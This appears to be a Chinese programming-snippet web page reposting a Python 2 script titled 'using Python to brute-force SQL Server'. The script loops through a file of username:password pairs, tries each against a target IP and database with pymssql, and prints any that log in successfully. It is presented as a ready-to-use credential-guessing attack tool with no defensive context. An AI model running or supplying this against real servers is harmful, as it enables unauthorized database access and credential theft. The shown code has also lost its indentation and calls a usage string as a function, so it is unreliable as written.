当前位置 : 主页 > 编程语言 > python >

使用python实现SQL server的暴力破解

来源:互联网 收集:自由互联 发布时间:2022-06-18
import optparse import pymssql def connectdatabase ( filename , ip , dbname ): with open ( filename ) as f : for content in f . readlines (): allcontent = content . replace ( '\n' , '' ) result = allcontent . split ( ':' ) username = result


import optparse
import pymssql


def connectdatabase(filename,ip,dbname):
with open(filename) as f:
for content in f.readlines():
allcontent = content.replace('\n','')
result = allcontent.split(':')
username = result[0]
password = result[1]
try:
conn = pymssql.connect(host=ip,user=username,password=password,database=dbname)
print '[+] %s %s is right' % (username,password)
except:
pass

def main():
parser = optparse.OptionParser(usage='-m directoryname -i ipaddress -d databasename')
parser.add_option('-m',dest='directoryname',type='string',help='specify target directoryname')
parser.add_option('-i',dest='ipaddress',type='string',help='specify ipaddress')
parser.add_option('-d',dest='databasename',type='string',help='specify databasename')
options,args=parser.parse_args()
dname = options.directoryname
ip = options.ipaddress
dbname = options.databasename
if dname and ip and dbname:
connectdatabase(dname,ip,dbname)
else:
print parser.usage()

if __name__ == '__main__':
main()



上一篇:ROS命令突然都不能使用
下一篇:没有了
网友评论